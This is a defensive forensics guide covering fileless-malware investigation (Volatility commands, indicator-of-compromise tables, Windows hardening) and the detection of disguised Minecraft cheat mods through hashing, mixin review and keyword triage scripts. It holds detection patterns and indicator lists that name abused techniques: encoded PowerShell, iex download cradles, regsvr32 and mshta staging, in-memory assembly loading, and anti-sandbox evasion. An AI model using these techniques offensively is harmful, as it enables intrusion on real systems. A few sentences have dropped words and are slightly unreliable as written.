ToolMethodOutput FormatNotes
WinPmemKernel driverRaw / AFF4Open source; best for modern Windows 10/11
DumpItKernel driverRaw / DMPSimple single-executable; minimal dependencies
Magnet RAM CaptureKernel driverRawFree; GUI available; trusted in LE contexts
FTK Imager (memory)Kernel driverRaw / AD1Full forensic chain of custody support
Belkasoft Live RAMKernel driverRawAlso captures pagefile and hibernation file
Volatility 3 — Key Analysis Commands
Shellvolatility3_commands.sh
# Process listing and relationships
vol -f mem.dmp windows.pslist               # flat process list
vol -f mem.dmp windows.pstree               # parent-child tree (essential)
vol -f mem.dmp windows.cmdline              # full command line for each process
vol -f mem.dmp windows.dlllist              # DLLs loaded per process

# Code injection detection
vol -f mem.dmp windows.malfind              # find VAD regions with RWX + MZ headers
vol -f mem.dmp windows.hollowprocesses      # detect process hollowing
vol -f mem.dmp windows.ldrmodules          # detect hidden/unlisted DLLs

# Network investigation
vol -f mem.dmp windows.netscan             # active + recently closed connections
vol -f mem.dmp windows.netstat             # current socket table

# Memory dump of specific process for further analysis
vol -f mem.dmp windows.memmap --pid 1234 --dump
vol -f mem.dmp windows.dumpfiles --pid 1234

# String extraction from process memory
vol -f mem.dmp windows.strings --pid 1234 | grep -iE "http|base64|powershell|iex"

# Registry hive analysis from memory
vol -f mem.dmp windows.registry.hivelist
vol -f mem.dmp windows.registry.printkey --key "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Run pstree and cmdline first to orient the investigation, then malfind to identify injection candidates. Dump suspicious processes and perform further string analysis on the raw memory regions.
What Malfind Reports

windows.malfind identifies memory regions that are marked as executable, contain no mapped file reference (i.e., not loaded from disk), and optionally start with a PE header (MZ signature). These are strong indicators of injected shellcode or a reflectively loaded DLL. Not every result is malicious — some legitimate software uses JIT compilation — but results from unexpected processes (explorer, svchost, game executables) warrant immediate investigation.

§ 12

Indicators of Compromise

The following table catalogues the most reliable IoCs for fileless malware activity. Severity ratings assume no known-good explanation exists for the indicator in the environment being investigated.

IndicatorSourceSeverityContext & Notes
-ExecutionPolicy Bypass in PS historyPSReadLine historyHIGHStandard user environments should never require policy bypass; admin tools may, but rarely
iex or Invoke-Expression with downloaded contentPS history / Event logCRITICALEvaluating a downloaded string as code is the core of nearly every fileless PS attack
-EncodedCommand with a long base64 valuePS history / proc cmdlineHIGHIntentional obfuscation of commands; decode and inspect the plaintext before assessing
powershell -Version 2 invocationEvent log / proc cmdlineCRITICALDisables AMSI and script block logging; no legitimate use on modern Windows
Browser, game, or Office process spawning PowerShellEvent log EID 4688 / pstreeCRITICALAbnormal parent-child chain; hallmark of macro or browser exploit initial access
regsvr32 making outbound network connectionFirewall log / netmonCRITICALNo legitimate use case for regsvr32 fetching a remote URL
mshta.exe spawning child process or making network callEvent log / netmonCRITICALmshta is routinely abused for HTA-based staging; should be blocked on most endpoints
Scheduled task with encoded PS argumentTask XML / Event EID 4698HIGHPersistence mechanism; examine creation time and correlate with initial access window
WMI CommandLineEventConsumer subscription presentWMI namespace queryHIGHFew legitimate products use this; security tools sometimes do — verify against known-good list
Registry run key with encoded command valueRegistry / Event EID 4657HIGHPersistence; compare value name against known-good baseline to detect masquerading
Malfind hits in svchost, explorer, or game processVolatility malfindCRITICALRWX memory with MZ header in unexpected process = injected PE; dump and disassemble
PowerShell outbound connection to non-CDN IPFirewall log / netscanMEDIUMCorrelate with execution time and PS history/event logs to confirm staging activity
Assembly::Load() in script block log (EID 4104)PS Operational event logCRITICALIn-memory .NET assembly loading; extract the byte array argument for further analysis
§ 13

Detection Challenges

Understanding why fileless malware evades detection is as important as knowing how to find it. Each challenge below represents a deliberate design decision by attackers — and a gap that defenders must specifically address.

01
No File Signatures
Antivirus engines match files against hash databases and byte-pattern signatures. A payload that never exists as a file produces no hash and matches no signature. Even next-gen AV with on-access scanning has nothing to scan.
AV evasionhash-based detection
02
Blends with Legitimate Activity
PowerShell, WMI, and Task Scheduler run continuously in healthy Windows environments. Flagging all PowerShell execution would produce overwhelming false positives. Attackers exploit this noise floor deliberately.
false positive pressureLotL
03
Volatile Evidence
The payload exists only in RAM. A reboot — by the user, by an update, or by the attacker as cleanup — permanently destroys the primary evidence. This creates urgent pressure to acquire memory before any system action.
evidence preservationRAM forensics
04
Logging Disabled by Default
Script Block Logging (EID 4104), Module Logging (EID 4103), and process creation command-line auditing (EID 4688) are all disabled by default on Windows. Without them, the investigation has almost no visibility into what ran.
log gapspolicy config
05
Anti-Sandbox Techniques
Payloads can check for VM artifacts (registry keys, process names, CPUID responses, screen resolution), user activity patterns, or derive decryption keys from machine-specific values — causing them to fail silently in sandboxes and automated analysis environments.
sandbox evasionenv-keyed payloads
06
Trusted Binary Trust Chain
Execution flows through signed Microsoft binaries. Security products that rely on binary reputation (most do) see only powershell.exe, regsvr32.exe, or wmic.exe — all of which have the highest possible trust scores.
signed binary abusereputation bypass
§ 14

Defensive Strategies & Hardening

Effective defense requires a layered approach. The controls below are listed in approximate order of impact-to-effort ratio. None alone is sufficient; the combination creates the visibility and friction necessary to detect and disrupt fileless attacks.

Logging & Visibility (Implement First)
ControlImplementationEvents Enabled
PS Script Block LoggingGPO: Computer Config → Admin Templates → Windows Components → Windows PowerShell → Turn on Script Block LoggingEID 4104 — captures decoded script blocks even when encoded on cmdline
PS Module LoggingSame GPO path → Turn on Module Logging → set module name to *EID 4103 — logs all module function calls and their parameters
Process Creation AuditingGPO: Security Settings → Advanced Audit Policy → Detailed Tracking → Audit Process Creation → Enable + include cmdline in eventsEID 4688 with full command line — essential for parent-child analysis
Scheduled Task AuditingGPO: Security Settings → Advanced Audit Policy → Object Access → Audit Other Object Access EventsEID 4698 (task created), 4702 (task updated), 4699 (task deleted)
Registry AuditingEnable auditing on specific run keys via regedit → key properties → permissions → auditingEID 4657 — registry value set; captures persistence installation
Attack Surface Reduction
  • PowerShell Constrained Language Mode — restricts PS to approved .NET types; blocks Add-Type, Assembly::Load(), and most fileless execution patterns; enforce via WDAC
  • Windows Defender Application Control (WDAC) — policy-based binary execution control; more robust than AppLocker; blocks unsigned scripts and restricts LotL binaries
  • AMSI Integration — ensure AMSI (Antimalware Scan Interface) is enabled and not disabled; block amsi.dll patching attempts via memory protection controls
  • Block regsvr32 outbound connections — host-based firewall rule blocking regsvr32.exe from making TCP connections eliminates the Squiblydoo technique entirely
  • Disable WScript / CScript for standard users — rename or restrict access to wscript.exe and cscript.exe if VBScript/JScript execution is not required
  • Restrict mshta.exe — HTA execution has virtually no legitimate end-user use case; blocking mshta eliminates an entire class of initial access vectors
  • Enforce signed PS scripts — Set-ExecutionPolicy AllSigned requires all scripts to carry a valid code-signing certificate, raising the cost of script-based attacks significantly
Active Investigation Checklist
Bergsson Forensics — Minimum Viable PC Check

For time-constrained investigations in gaming or competitive environments, prioritize these steps in order: (1) Export full PS history file. (2) Export PowerShell Operational event log and Security event log. (3) Capture and review running process tree with full command lines. (4) Enumerate all scheduled tasks and inspect action commands. (5) Check registry run keys for all users. (6) If any of the above show indicators, acquire a memory image immediately before any further system interaction.

§ 15

Tools Reference

ToolCategoryPrimary UseSource
Volatility 3Memory AnalysisRAM dump analysis: processes, injection, networks, stringsOpen source — volatilityfoundation.org
RekallMemory AnalysisAlternative memory analysis framework; strong profile supportOpen source
Process Hacker / System InformerLive Process AnalysisReal-time process tree, memory maps, handles, network; detects injected code via color codingOpen source
Sysinternals SuiteLive InvestigationAutoruns (persistence), Process Monitor (live activity), TCPView (connections)Microsoft — learn.microsoft.com/sysinternals
PSDecodePS DeobfuscationAutomatically de-obfuscates multi-layer PowerShell scriptsOpen source — GitHub: @ahhhhhhhhh
CyberChefDecoding / AnalysisBase64 decode, AES decrypt, XOR, format conversion; web-basedGCHQ — gchq.github.io/CyberChef
KAPEArtifact CollectionTargeted forensic artifact collection — PS logs, event logs, registry, prefetch, SRUMKroll — ericzimmerman.github.io
Eric Zimmerman ToolsArtifact ParsingParse AmCache, ShimCache, prefetch, scheduled tasks, registry (Timeline Explorer)Free — ericzimmerman.github.io
srum-dumpSRUM AnalysisParse and export SRUDB.dat to readable spreadsheet formatOpen source — GitHub: markbaggett
WinPmemMemory AcquisitionLive memory acquisition on Windows 10/11; minimal footprintOpen source — GitHub: Velocidex
Get-WinEvent (PS)Log CollectionNative PowerShell cmdlet for event log export and filteringBuilt-in Windows
Sigcheck (Sysinternals)Binary VerificationVerify code signing status and VirusTotal integration for running binariesMicrosoft — Sysinternals
§ 16

Conclusion

Fileless malware represents a sustained and deliberate evolution in attacker tradecraft. By leveraging legitimate system tools, operating entirely in memory, and applying layered obfuscation, these attacks defeat the file-centric security model that underpins most endpoint defenses. For forensic investigators, they demand an equivalent evolution in methodology — away from file scanning and toward behavioral analysis, log correlation, and memory forensics.

The techniques documented here — from PowerShell cradles to WMI subscriptions to process injection — share a common structural principle: they abuse the operating system's own capabilities against itself. This means the artifacts they leave are themselves embedded in legitimate system data sources: event logs, the WMI repository, the process table, registry hives, and RAM. Investigating these sources systematically, with the right tools and a clear understanding of what anomalous behavior looks like, is the foundation of effective fileless malware investigation.

Three principles define successful detection of these threats. First, logging must be configured aggressively before an incident — Script Block Logging, process creation auditing, and task auditing are all disabled by default and must be explicitly enabled. Second, memory must be acquired before anything else changes on a suspected system — the payload vanishes on reboot. Third, behavioral baselines matter — the difference between a malicious PowerShell invocation and a legitimate one often comes down to context: who spawned it, what it connected to, and what it tried to execute.

Final Note — Bergsson Forensics

This document represents a point-in-time reference. The fileless malware landscape evolves continuously as attackers respond to improved detection capabilities. Investigators are encouraged to supplement this reference with current threat intelligence from sources including MITRE ATT&CK (particularly the Defense Evasion and Execution tactic trees), the SANS Internet Stormcast, and vendor threat intelligence feeds. The techniques described here map primarily to MITRE ATT&CK techniques T1059 (Command and Scripting Interpreter), T1546 (Event Triggered Execution), T1547 (Boot/Logon Autostart), T1055 (Process Injection), and T1112 (Modify Registry).

MODULE 06 / 10 Mod Analysis & Detections

Assess identity, structure, and behavior

Listen to this lesson2 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

A mod’s filename is a claim. Its bytes, metadata, code, and behavior are the evidence you use to assess that claim.

Validate identity first

Calculate a cryptographic hash and compare it with a trusted release of the exact same version and build. A mismatch establishes that the bytes differ from that reference. It does not, by itself, establish why they differ or prove cheat functionality.

Inspect what loads and what changes

Review JAR contents, loader metadata, entrypoints, dependencies, and mixin configuration. In Fabric, fabric.mod.json describes metadata and can declare entrypoints and mixin configuration files. Trace the referenced classes and methods to understand the implementation rather than stopping at a suggestive name.

Use indicators to guide examination

Strings, package names, embedded resources, and obfuscation are leads. Legitimate mods may contain input, rotation, rendering, or networking code. Evaluate whether the behavior fits the claimed purpose. Static inspection and decompilation can identify functionality; controlled observation can help corroborate it.

Write a defensible finding

Report the source file, hash, relevant class or method, observed behavior, confidence level, and limitations. An unfamiliar or obfuscated mod can remain inconclusive. Do not turn a single keyword match into a confirmed behavioral claim.

Apply the three checks

Identity: does it match the claimed release? Structure: what code is present and how is it loaded? Behavior: what does that code actually do?

Metadata reference: Fabric: fabric.mod.json.

Read the full reference
Listen to the full reference40 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

What Mod Analysis Actually Proves

To analyze unfair mods properly, it helps to think like the player trying to hide one. Most users are not building custom clients from scratch — they are downloading a jar, renaming it, bundling it into something else, or relying on a loader that makes the whole thing look normal. Mod analysis is therefore not just "is this file weird?" The real question is whether the file's claimed identity, technical behavior, and level of concealment all line up. If those three things do not match, you have something worth escalating.

In practice, mod analysis tries to answer four core questions: what the jar claims to be, whether the file is authentic, whether it can provide an unfair advantage, and whether it was built to hide that fact.

Outcome Classification
LegitimateIdentity, metadata, hash, and behavior all line up with an official release or a defensible custom build. No anomalies requiring escalation.
SuspiciousOne or more anomalies exist, but the capability or intent is not yet clearly established. Requires deeper review before a conclusion.
Malicious / UnfairThe jar contains automation, combat logic, packet manipulation, hidden overlays, or similar features that can reasonably provide an advantage.
InconclusiveThe file cannot be authenticated or read cleanly. The evidence does not yet support a firm conclusion in either direction.
Primary Artifact Sources
SourceWhat to CheckWhy It Matters
Jar name and versionBranding, claimed purpose, loader version, release naming conventionUseful for first-pass context, but very easy to fake
HashSHA-256 or SHA-512 compared to an official sourceA mismatch is one of the strongest single authenticity failures
Loader metadatafabric.mod.json, mods.toml, mcmod.info, manifest dataShows what the mod claims about itself and how it loads
Mixin configsTargets, injectors, overwritten methods, package layoutOften exposes real intent faster than class names do
Decompiled codeCombat, input, network, timing, GUI, config handlingPrimary source for proving actual capability
Resources and configsIcons, hidden modules, keybinds, default settings, language keysCan expose module names even when code is heavily obfuscated
Embedded librariesShaded jars, native files, custom loaders, decryptorsMay second-stage payloads or bundled frameworks
Runtime behaviorNew files, network requests, overlays, toggles, packet changesConfirms how the mod behaves when actually loaded
Analyst Mindset

We are reporters. We document indicators, explain why they matter, and preserve confidence levels. We do not need to overstate. A clean report with moderate confidence is better than a dramatic report built on guesses.

§ 02

Classification of Suspicious Mods

A useful way to classify suspicious jars is to separate visibility from readability. Some clients are obvious and essentially admit what they are. Others hide behind a normal name, a copied icon, or a legitimate project. Others go one step further and make the code deliberately painful to read. This gives you three common groups in actual casework — each can still be unfair; the difference is how much work it takes to prove.

Three Common Groups
A
Obvious Public Clients
Clearly known clients, lightly hidden, often detected by quick scanners, in-game mod lists, or simple metadata review. The jar does not make a serious attempt to disguise its identity.
low effort to detectmetadata match
B
Masked but Readable Clients
Packaged to look normal — legitimate name, plausible icon, clean metadata — but decompilation still reveals module systems, combat features, click logic, or packet hooks without significant resistance.
moderate effortdecompilation reveals
C
Masked and Obfuscated Clients
Names, strings, and control flow are deliberately scrambled, forcing the analyst to work from structure, behavior, and technical side effects rather than readable identifiers. The highest-effort category to prove conclusively — but structural analysis still yields strong indicators.
high effortstructural analysisbehavioral signals
Practical Rule

Unknown does not equal malicious, and obfuscated does not equal cheat. What matters is capability, concealment, and inconsistency between the jar's story and the jar's behavior.

§ 03

Trust Validation Before Reverse Engineering

Before pulling classes apart, verify whether the jar is even authentic. A significant amount of time gets wasted reverse engineering files that could have been flagged in the first two minutes by hash comparison alone. Players can rename a jar in five seconds — they can also repackage a legitimate project with added code. Trust validation is what separates a cosmetic rename from an actually altered build.

For Fabric projects, fabric.mod.json is the primary metadata file, defining the mod ID, version, and entrypoints. For Forge, mods.toml under META-INF fills that role. These files tell you what the jar claims to be and how it expects to load.

Clean Validation Workflow
PowerShelltrust_validation.ps1
# Step 1: Hash every jar in the mods folder
$modsPath = "$env:APPDATA\.minecraft\mods"
Get-ChildItem $modsPath -Filter *.jar |
  Get-FileHash -Algorithm SHA256 |
  Sort-Object Path |
  Select-Object Path, Hash

# Step 2: Unpack jar for inspection
# A .jar is a ZIP archive — rename or extract directly
Expand-Archive "suspect.jar" -DestinationPath ".\unpacked\" -Force

# Step 3: Read loader metadata
Get-Content ".\unpacked\fabric.mod.json"    # Fabric
Get-Content ".\unpacked\META-INF\mods.toml"  # Forge
Get-Content ".\unpacked\META-INF\MANIFEST.MF" # Manifest

# Step 4: List mixin configuration files
Get-ChildItem ".\unpacked" -Filter *.json -Recurse |
  Where-Object { $_.Name -match 'mixin' } |
  Select-Object FullName
This workflow completes trust validation in under 2 minutes for most jars. A hash mismatch or a metadata inconsistency found here is already meaningful evidence before any decompilation begins.
Key Trust Validation Signals
  • Hash mismatches matter most when the file claims to be a known public release — if SHA-256 does not match the official release hash, the jar has been modified
  • A copied mod name with a different internal package structure is a major warning sign — the brand is borrowed but the contents are not what they claim
  • A legitimate name plus unrelated combat or network hooks is stronger evidence than a suspicious filename alone
  • Mod IDs that do not match the claimed project — e.g., fabric.mod.json claims to be "SodiumFabric" but the mod ID is "cheatclient" — are an immediate escalation point
  • A mod that cannot be matched to any official source should be documented as unverified, not automatically called malicious
  • Version numbers that do not exist in any official changelog often indicate a custom build or a modified release
§ 04

Metadata, Entrypoints & Mixin Review

Loader metadata tells you how a jar introduces itself. Mixin configuration tells you where it plans to interfere. In advanced reviews, the second part is often more valuable — a jar can hide behind generic names while still targeting player update loops, interaction managers, mouse input, packet handlers, or rendering paths.

Mixins are designed to modify classes before they are loaded. That is normal in modern Minecraft modding, but it is also exactly why they are so forensically useful. The mixin config is often the fastest path to understanding a jar's real intent.

Mixin Analysis — What to Look For
Mixin Target AreaWhy It MattersSignal Level
Player update / tick loopsCore execution path for automation, auto-walk, continuous input injectionHIGH
Attack / interaction managersDirect modification of how hits are registered; reach, timing, auto-crit logicCRITICAL
Mouse / keyboard input handlersCPS schedulers, auto-clickers, input spoofing, and aim assistanceCRITICAL
Packet send / receive pathsVelocity modification, blink, packet delay, desync-based cheatsCRITICAL
Motion and physicsSpeed, fly, step height, bunny-hop; alters how the client calculates movementHIGH
Rendering / GUI overlaysESP, chest finder, player trackers; suspicious if claimed purpose is non-visualMEDIUM
Rendering pipeline onlyExpected for shaders, performance, and visual mods; low suspicion in isolationLOW
Resource loading onlyNormal for resource pack and asset mods; minimal concern by itselfLOW
Reading a Mixin Config
JSONexample.mixins.json
{
  "required": true,
  "minVersion": "0.8",
  "package": "com.example.mixins",
  "compatibilityLevel": "JAVA_17",
  "mixins": [
    "MixinClientPlayerEntity",   // player entity — worth checking
    "MixinMouseHandler",           // mouse input — HIGH signal
        "MixinClientPacketListener",   // packet handling — CRITICAL
        "MixinGameRenderer"            // rendering — context-dependent
  ],
  "injectors": {
    "defaultRequire": 1
  }
}

// Injection types that warrant deeper review:
// @Inject  — adds code at a target point (most common)
// @Overwrite — completely replaces the target method (highest risk)
// @Redirect — intercepts a method call within the target (often stealthy)
// @ModifyArg — alters a single argument passed to a call (subtle changes)
Mixin targets often intent faster than class names do. A "performance" mod that patches MixinMouseHandler or MixinClientPacketListener deserves significantly more scrutiny than one targeting only rendering or asset loading.
High-Signal Inconsistency

If a jar claims to be a replay, HUD, or quality-of-life mod but its mixins target attack routines, motion control, or outgoing packet logic — the metadata story and the technical story do not match. This inconsistency is one of the strongest indicators available at the metadata review stage.

§ 05

Static Triage & String Analysis

Static triage is the first real pass through the jar. You are looking for fast indicators that tell you where deeper review should go next. File structure, class naming patterns, embedded resources, decryptors, native payloads, and repeated terminology all matter here.

String searching is still useful — just not on its own. Plenty of public clients still leak terms like killaura, velocity, trigger, or scaffold. At the same time, many legitimate mods also contain generic words like rotation, timer, or click. Treat keyword hits as routing signals, not final proof. Good triage combines three things: metadata review, targeted string searches, and decompilation.

String Search — PowerShell Triage Script
PowerShellstring_triage.ps1
# After decompiling the jar to .\decompiled\
# Run targeted keyword search across all decompiled sources

$terms = @(
  'autoclick', 'killaura', 'reach', 'velocity', 'trigger',
  'aim', 'rotation', 'scaffold', 'blink', 'cps',
  'criticals', 'aimbot', 'timer', 'speed', 'fly',
  'esp', 'wallhack', 'tracers', 'chams', 'nametags'
)

Get-ChildItem .\decompiled -Recurse -File |
  Select-String -Pattern $terms -SimpleMatch |
  Select-Object Path, LineNumber, Line |
  Format-Table -AutoSize

# Also check language files for leaked module names
Get-ChildItem .\unpacked\assets -Recurse -Filter *.json |
  Get-Content | Select-String -Pattern $terms -SimpleMatch
Language files and resource keys are frequently overlooked. Even heavily obfuscated clients often ship readable feature names in their lang files — KillAura, Velocity, AutoClicker — that survive code obfuscation entirely.
Structural Red Flags During Triage
  • Hidden folders or unexpected package hierarchies — deeply nested packages with single-letter names are a common obfuscation footprint
  • Shaded dependencies not documented in metadata — bundled libraries that are not declared in fabric.mod.json or mods.toml
  • Nested or embedded jars — a .jar inside a .jar, especially if it is encrypted or has no manifest
  • Decryptor utility classes — classes whose sole function is to decrypt strings or resources at runtime
  • Custom class loaders — non-standard loaders that bypass normal Fabric/Forge class loading mechanisms
  • GUI systems and category managers that do not fit the claimed mod purpose — a "performance mod" shipping a full clickGUI framework
  • Keybind registries and command frameworks — especially when the claimed mod has no documented configurable features
  • Packet classes and rotation math — Vec3d rotation calculations in a non-movement mod, or references to PlayerInteractC2SPacket in an unrelated context
Good Reporting Language

Instead of writing "cheat strings found", write: "Keyword triage surfaced combat-related terminology in decompiled sources, which was then corroborated by class behavior and mixin targets." The evidence chain matters more than the individual finding.

§ 06

Detecting Masked or Embedded Clients

Masked clients usually give themselves away through inconsistency. The name says one thing. The metadata says something close to that. The code says something else entirely. Common examples include jars that impersonate a performance mod, a replay utility, or a harmless HUD project while shipping module managers, combat toggles, click schedulers, or packet manipulation routines.

The Legitimacy Triad

A mod should generally align across three dimensions. When any of these three do not line up, document the mismatch clearly — the inconsistency itself is meaningful evidence even before proving specific capability.

1
Name
The filename, jar name, and branding used when presenting the mod. The easiest thing to fake — provides context but never proof on its own.
2
Metadata
Loader config files declaring mod ID, version, entrypoints, and dependencies. More reliable than the filename — harder to fake consistently across all fields.
3
Behavior
What the code actually does — mixin targets, decompiled logic, runtime artifacts. The hardest to disguise and the most reliable indicator of true purpose.
Masked Client Indicators
IndicatorWhat It SuggestsNext Step
Metadata claims harmless purpose but code touches combat, targeting, or network flowIntentional mislabeling; primary masking techniqueDocument the mismatch; decompile combat classes directly
Package names imitate a known project but internal structure differs significantlyBorrowed brand, different codebase — likely a modified or wrapped buildDiff against official release file list
Resources or language keys expose feature names the official project does not shipLeaked module names surviving obfuscation; strong capability evidenceExtract all lang files and compare to official release
Unrelated shaded libraries, native binaries, or custom loaders bundled insideSecond-stage payload, additional framework, or runtime decryptorInspect embedded jar; identify all native and foreign libraries
File list in the jar does not match the official version's file manifestAdded packages, injected mixins, or removed classes relative to clean releaseDiff jarfiles; flag added and modified files for targeted review
Icon copied from a legitimate mod but SHA differs from the official icon fileDeliberate impersonation of a trusted projectHash icon; check against official asset; note the impersonation directly
Diffing Against an Official Release
PowerShelljar_diff.ps1
# Unpack both jars to compare file lists
Expand-Archive "official.jar"  -DestinationPath ".\official\"  -Force
Expand-Archive "suspect.jar"   -DestinationPath ".\suspect\"   -Force

# Compare file listings — identify added, removed, or modified entries
$officialFiles = Get-ChildItem ".\official\" -Recurse | Select-Object -Expand FullName
$suspectFiles  = Get-ChildItem ".\suspect\"  -Recurse | Select-Object -Expand FullName

# Files in suspect jar not present in official release:
Compare-Object $officialFiles $suspectFiles |
  Where-Object { $_.SideIndicator -eq '=>' } |
  Select-Object InputObject

# Hash-compare files present in both (detect modified classes):
Get-ChildItem ".\official\" -Recurse -File | ForEach-Object {
  $rel     = $_.FullName.Replace(".\official\", "")
  $suspect = ".\suspect\" + $rel
  if (Test-Path $suspect) {
    $h1 = (Get-FileHash $_.FullName -Algorithm SHA256).Hash
    $h2 = (Get-FileHash $suspect    -Algorithm SHA256).Hash
    if ($h1 -ne $h2) { Write-Output "MODIFIED: $rel" }
  }
}
Diffing against an official release is often faster than reading every class from scratch. Added mixins, extra packages, and modified entrypoints jump out immediately. This technique is especially powerful for catching embedded clients that use a legitimate mod as a carrier.
§ 07

Obfuscation & Loader Patterns

Obfuscation changes the reading experience, not the purpose of the code. A cheat still has to read game state, make decisions, alter movement or combat, schedule inputs, render overlays, save config, and activate modules. Those tasks leave structural signatures behind even when all identifiable names are shredded. When normal decompilation gets difficult, the analysis strategy shifts from names to behavior.

Common Obfuscation Techniques
01
Class & Method Renaming
All classes, methods, and fields renamed to single letters or random sequences. Readable structure still survives — class hierarchy, call graphs, and mixin target references remain meaningful.
most commonProGuard / Allatori
02
String Encryption
Readable strings replaced by decryptor calls — Decrypt("a7f3c...") rather than "killaura". The decryptor class is usually identifiable; its inputs the original strings when analyzed statically or traced at runtime.
commonreversible statically
03
Reflection-Heavy Dispatch
Methods resolved by name at runtime via Class.forName() and Method.invoke(), often combining string encryption with reflection to break the static call graph. Tracing decryptor inputs reconstructs the target method names.
moderate-highcall graph breaking
04
Control-Flow Flattening
Logical branching replaced by large switch statements dispatching on a state variable. Normal program flow becomes a flat dispatcher loop — functionally identical but almost unreadable as a static analysis target.
advancedOLLVM-style
05
Invokedynamic Abuse
Java's invokedynamic instruction used to obscure method calls. Some decompilers fail to reconstruct these calls cleanly, producing incomplete or incorrect output. Bytecode-level inspection bypasses the decompiler for these sections.
advanceddecompiler evasion
06
Runtime Loader / Second Stage
A small loader stub in the jar decrypts or downloads the actual payload at runtime, loading it directly into memory. The stub itself is minimal and appears innocuous; the payload may live in encrypted resources or be fetched remotely.
high riskhardest to analyze statically
Analysis Strategy When Code Is Obfuscated
  • Locate decryptor methods and note which classes feed them — decryptors are often one of the few remaining readable components and act as an index into the obfuscated code
  • Track repeated call patterns — even when names are randomized, a method called from 30 different classes is almost certainly a core dispatcher or feature controller
  • Look for reflection helpers that resolve fields or methods by decrypted string — trace the string inputs to identify targeted Minecraft classes
  • Mark classes with unusually high branching or dispatcher tables — these are the signature of control-flow flattening; focus on the state variable values
  • Inspect resources for encrypted blobs, serialized configs, or hidden jars loaded at runtime — encrypted resources are a strong indicator of a second-stage payload
  • Count event hook registrations — a mod that registers many more event hooks than its claimed purpose requires is a structural anomaly regardless of readable names
Responsible Use of AI / Reasoning Tools

AI tools can help summarize hostile control flow, cluster suspicious methods, or explain likely function of obfuscated code. Treat that output as analyst assistance — a starting point for focused review. The proof still comes from the jar, not the summary. Do not cite AI-generated analysis as evidence; cite the specific class, method, and behavior the AI helped you locate.

Core Principle

Obfuscation hides readability. It does not remove capability. The structural fingerprint of a module system, a target loop, or a packet interceptor survives most obfuscation techniques.

§ 08

Behavioral Analysis in Isolation

Static review gets you far, but some jars only become obvious when loaded in a controlled environment. If you do this step, isolate it. Use a disposable VM or a dedicated test machine — never load unknown jars on a personal or production system. The goal is to document runtime behavior safely and deliberately, not to casually run suspicious files out of curiosity.

Safety Requirement

Behavioral analysis of unknown jars must only be performed in an isolated, disposable environment — a fresh VM with no personal data, no saved credentials, and no persistent network access to production systems. Snapshot the VM before loading the jar so the environment can be restored cleanly after analysis.

Behavioral Analysis Workflow
PowerShellbehavioral_prep.ps1
# Pre-launch: baseline snapshot of relevant filesystem locations
$watchPaths = @(
  "$env:APPDATA\.minecraft\config",
  "$env:APPDATA\.minecraft\logs",
  "$env:APPDATA\.minecraft\mods",
  "$env:TEMP",
  "$env:LOCALAPPDATA\Temp"
)

# Capture pre-launch state
$baseline = $watchPaths | ForEach-Object {
  Get-ChildItem $_ -Recurse -ErrorAction SilentlyContinue |
  Get-FileHash -Algorithm SHA256
}

# [ Launch Minecraft with the suspect mod in isolated VM ]
# [ Wait for fully loaded state — observe GUI, keybinds, overlays ]

# Post-launch: compare filesystem state
$postLaunch = $watchPaths | ForEach-Object {
  Get-ChildItem $_ -Recurse -ErrorAction SilentlyContinue |
  Get-FileHash -Algorithm SHA256
}

# New or modified files since launch:
Compare-Object $baseline $postLaunch -Property Hash |
  Where-Object { $_.SideIndicator -eq '=>' }
File changes during the first few seconds of launch — especially in config directories — can expose module names, category labels, and default keybinds that survive any amount of code obfuscation.
What to Observe During Behavioral Analysis
ObservableWhat It RevealsPriority
Generated config filesModule names, category labels, default keybind values, hidden states — even when code is fully obfuscated, configs are almost always readableP1
GUI behavior and hidden menusA clickGUI, module list, or category panel that appears on a keybind press reveals a full module system regardless of what the jar claims to beP1
Filesystem writes during launchNew directories, config trees, and log files created at startup; the structure alone often reveals feature categoriesP2
Network requests at launchOutbound connections to external hosts at startup may indicate license checking, update fetching, or second-stage payload downloadP2
Secret keybind activationsActivating undocumented binds may hidden overlays, toggles, or module panels not visible at initial launchP3
Console / log outputSome loaders print module lists, version information, or capability flags to the game log even when the GUI is hiddenP3
Why Configs Matter Most

Even when code is heavily obfuscated, config files often leak feature names, category labels, default binds, or hidden module states. They are one of the most underrated artifacts in mod review — and one of the few things that obfuscation tools do not touch.

§ 09

Reporting Confidence & False Positives

The cleanest reports separate observation from conclusion. Start with what you found, explain why it matters, then state how confident you are. That structure keeps your notes usable even when the final moderation decision is made by someone else. Admins decide the outcome — analysts document the facts.

Confidence Framework
LevelBasisHow to Write It
LOW Unknown jar, odd strings, but no verified capability. Anomalies exist but do not yet support a conclusion about function. Document anomalies only. Do not claim cheat functionality. Use language like "warrants further review" and "could not be authenticated."
MEDIUM Misleading metadata plus suspicious hooks or resources. The jar is inconsistent with its claimed purpose but specific capability is not fully confirmed. State that the jar is inconsistent with its claimed purpose and warrants deeper review. List specific inconsistencies. Avoid definitive language about function.
HIGH Readable combat, input, or packet manipulation logic found through decompilation. Specific functionality is identifiable and located. Describe the specific functionality and where it was found — class name, method, behavior. State that the capability was identified in decompiled sources.
VERY HIGH Cheat modules, configs, toggles, or runtime confirmation. Capability is directly confirmed through multiple independent artifact sources. Report the behavior directly and attach the strongest artifacts first. Name specific modules, config keys, or runtime observations. State that multiple sources corroborate the finding.
Recommended Report Structure
Formatreport_template.txt
──────────────────────────────────────────────────────────
OBSERVATION:    What artifact was found and where.
                E.g. "MixinMouseHandler found in mixin config
                      targeting com.example.mixins package."

INDICATOR:      What behavior or inconsistency this suggests.
                E.g. "Mouse input handler injection is
                      inconsistent with a claimed replay mod."

WHY IT MATTERS: How this could provide advantage or concealment.
                E.g. "Mouse handler modification is a standard
                      technique for CPS scheduling and aim assist."

CONFIDENCE:     Low / Medium / High / Very High
                E.g. "Medium — mixin target identified, full
                      method behavior not yet confirmed."
──────────────────────────────────────────────────────────
This format is reproducible by another analyst. Every claim is tied to a specific artifact and qualified with a confidence level. Avoid summary conclusions without listed supporting observations.
Common False Positive Causes
  • Leaning too hard on a single signal — one scary string without corroborating code behavior does not prove a module exists
  • Treating public popularity as proof of legitimacy — a well-known mod can still be tampered with; hash validation always applies
  • Ignoring hash mismatches because the filename looks right — the filename is the easiest thing to fake and the least reliable indicator
  • Letting keyword results outweigh mixin and behavior analysis — many legitimate mods contain terms like "rotation" or "click" in non-cheat contexts
  • Treating obfuscation alone as proof — some legitimate mods use obfuscation for IP protection; obfuscation raises suspicion but does not confirm capability
